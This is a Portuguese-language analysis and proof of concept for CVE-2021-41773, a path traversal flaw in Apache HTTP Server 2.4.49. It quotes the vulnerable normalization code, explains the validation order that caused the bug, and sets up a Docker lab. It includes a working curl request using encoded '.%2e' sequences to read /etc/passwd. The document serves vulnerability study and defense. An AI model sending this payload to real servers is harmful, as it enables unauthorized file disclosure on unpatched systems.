
PoC e análise do CVE-2021-41773
CVE-2021-41773 é uma vulnerabilidade de travessia de caminho que afeta o Apache HTTP Server 2.4.49.
A vulnerabilidade permite que um atacante acesse arquivos fora do diretório pretendido em configurações específicas, especialmente quando diretórios são expostos por meio de Alias, ScriptAlias ou outras diretivas semelhantes a Alias.
A vulnerabilidade existe devido ao tratamento inadequado da normalização e canonicalização de caminhos de URL. O Apache realizava verificações de segurança em uma representação de caminho que ainda poderia conter caracteres codificados, permitindo que atacantes contornassem a detecção de travessia usando sequências de pontos codificadas.
Um atacante pode criar uma URL maliciosa contendo sequências de travessia codificadas, como:
.%2e
onde:
%2e = .
Portanto:
.%2e
torna-se:
..
após a decodificação.
Se o Apache validar a representação codificada antes de resolvê-la para sua forma canônica, a verificação de travessia pode ser contornada.
A exploração bem-sucedida pode permitir que um atacante leia arquivos arbitrários do sistema de arquivos.
Exemplo de alvo:
/etc/passwd
A lógica vulnerável está localizada em:
server/util.c
dentro de:
ap_normalize_path()
Código vulnerável do Apache 2.4.49:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
O código vulnerável tenta identificar padrões de travessia de diretório:
../
verificando pontos consecutivos:
path[l + 1] == '.'
No entanto, um atacante pode fornecer uma sequência de travessia codificada:
/.%2e/
No momento da verificação de normalização, o Apache processa:
.%2e
em vez de:
..
Porque:
%2e != .
a lógica de detecção de travessia não reconhece a sequência como:
../
O caminho é então interpretado em sua forma decodificada, permitindo que a travessia ocorra.
O comportamento vulnerável pode ser representado como:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
A decisão de segurança é tomada antes que o caminho atinja sua representação canônica final.
Uma abordagem mais segura é:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
As verificações de segurança devem ser sempre realizadas sobre a representação final normalizada.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Envie uma solicitação contendo uma sequência de travessia codificada:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Uma exploração bem-sucedida retorna o conteúdo de:
/etc/passwd
Exemplo:
root:x:0:0:root:/root:/bin/bash
Uma resposta 403 Forbidden não significa necessariamente que a exploração falhou.
Durante os testes, o Apache pode normalizar com sucesso:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
para:
/etc/passwd
mas negar o acesso devido a permissões do sistema de arquivos ou regras de autorização do Apache.
Exemplo:
client denied by server configuration: /etc/passwd
Isso indica que a travessia ocorreu com sucesso, mas o controle de acesso impediu a divulgação do arquivo.
CVE-2021-41773 é um exemplo clássico de uma vulnerabilidade de canonicalização.
A entrada controlada pelo usuário pode ter múltiplas representações:
.%2e
e:
..
Embora pareçam diferentes, representam o mesmo componente de caminho.
As verificações de segurança devem ser sempre realizadas após a decodificação e a normalização. Validar uma representação codificada ou ambígua pode levar a contornos de segurança.